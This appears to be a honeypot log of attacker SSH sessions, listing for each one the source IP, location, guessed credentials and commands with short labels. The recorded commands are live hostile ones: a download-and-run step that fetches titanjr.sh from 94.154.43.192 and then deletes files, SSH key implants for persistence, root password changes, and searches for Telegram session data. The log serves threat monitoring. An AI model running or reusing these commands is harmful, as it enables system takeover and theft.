$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_2 (92.118.39.49) — Dallas, United States · 6 sessions · 54 cmds

2026-07-04 18:37 EDT · as apache/apache, root/12345, root/123456

make executable

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×4 // make executable

$ uname -s -v -n -m 2 > /dev/null ×6

$ /bin/uname -s -v -n -m 2 > /dev/null ×6

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×6

$ busybox uname -s -v -n -m 2 > /dev/null ×6

$ ( [ -f /proc/version ] ×6

$ [ -f /proc/version ] ×6

$ head -1 /proc/version | cut -d -f1 ×6

$ [ -f /etc/os-release ] ×6

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2

🎭 windmill_root_2 (94.154.43.230) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-11 11:29 EDT · as root/toor

payload download from C2

$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.154.43.192/titanjr.sh; curl -O http://94.154.43.192/titanjr.sh; chmod 777 titanjr.sh; sh titanjr.sh; tftp 94.154.43.192 -c get titanjr.sh; chmod 777 titanjr.sh; sh titanjr.sh; tftp -r titanjr.sh -g 94.154.43.192; chmod 777 titanjr.sh; sh titanjr.sh; ftpget -v -u anonymous -p anonymous -P 21 94.154.43.192 titanjr.sh titanjr.sh; sh titanjr.sh; rm -rf titanjr.sh titanjr.sh ; rm -rf * // payload download from C2

🎭 windmill_root_4 (206.189.6.79) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-11 11:23 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 rogue_root_35 (38.191.248.41) — Yerevan, Armenia · 1 session · 9 cmds

2026-07-11 10:59 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 meatball_root (212.113.102.0) — Stockholm, Sweden · 1 session · 19 cmds

2026-07-11 10:42 EDT · as root/cesar

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:g2RbIYu73M3k"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 windmill_sol_2 (91.92.47.53) — Eygelshoven, The Netherlands · 3 sessions · 3 cmds

2026-07-11 07:02 EDT · as person/kubernetes, us23/admin, user19/es123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 wraith_root_17 (38.76.163.104) — Kwai Chung, Hong Kong · 1 session · 19 cmds

2026-07-11 07:04 EDT · as root/Q@123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:VbYrUqUR4Muo"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 carnival_root_2 (177.53.247.76) — São José, Brazil · 1 session · 19 cmds

2026-07-11 06:22 EDT · as root/ubuntu

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:s3TsK79RDbdN"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 seoul_root (211.240.117.71) — Seodaemun-gu, South Korea · 4 sessions · 76 cmds

2026-07-02 04:44 EDT · as root/3edc#EDC3edc, root/Qwe1234@, root/Qwerty.2024

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo "root:aij7G5FTiof6"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×4 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo "root:PA49frDMLptv"|chpasswd|bash

$ echo "root:VfWFCQbj4gdy"|chpasswd|bash

$ echo "root:ntYHY7czCeRb"|chpasswd|bash

🎭 cowboy_root_3 (49.51.199.112) — Santa Clara, United States · 1 session · 19 cmds

2026-07-11 03:23 EDT · as root/Qwe1234@

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:vCt0vfsqglls"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_sol_6 (91.92.47.123) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-11 02:16 EDT · as wexillsand/newuser

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 dutch_sol_4 (91.92.47.66) — Eygelshoven, The Netherlands · 2 sessions · 2 cmds

2026-07-11 00:46 EDT · as person/kubernetes, us23/admin

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 bistro (217.112.58.179) — Étriac, France · 1 session · 20 cmds

2026-07-10 22:58 EDT · as ricardo/ricardo

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "ricardo\nsirPWj0hvZL7\nsirPWj0hvZL7"|passwd|bash

$ Enter new UNIX password:

$ echo "ricardo\nsirPWj0hvZL7\nsirPWj0hvZL7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stroopwafel_sol_5 (91.92.40.124) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-07-10 22:23 EDT · as root/ubuntu

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 bike_root_2 (5.255.126.29) — Dronten, The Netherlands · 1 session · 19 cmds

2026-07-10 22:14 EDT · as root/a123321.

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:YATQLj9LBym3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 stroopwafel_sol_6 (91.92.42.172) — Eygelshoven, The Netherlands · 1 session · 1 cmd

2026-07-10 20:20 EDT · as person/kubernetes

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 toucan_root_5 (177.11.196.79) — Feliz, Brazil · 1 session · 19 cmds

2026-07-10 20:06 EDT · as root/1@qwaszX

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:nHAhmzoqWeEu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root (75.89.47.24) — Macedonia, United States · 1 session · 7 cmds

2026-07-10 16:46 EDT · as root/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

🎭 cipher_root_11 (139.59.243.9) — Singapore, Singapore · 1 session · 20 cmds

2026-07-10 16:10 EDT · as joe/joe123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "joe123\nM3S0ivrw123A\nM3S0ivrw123A"|passwd|bash

$ Enter new UNIX password:

$ echo "joe123\nM3S0ivrw123A\nM3S0ivrw123A\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_5 (203.156.216.10) — Hongkou, China · 1 session · 1 cmd

2026-07-10 14:38 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 ghost_root_14 (189.143.84.221) — Acapulco de Juárez, Mexico · 1 session · 20 cmds

2026-07-10 14:37 EDT · as yzh/yzh123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

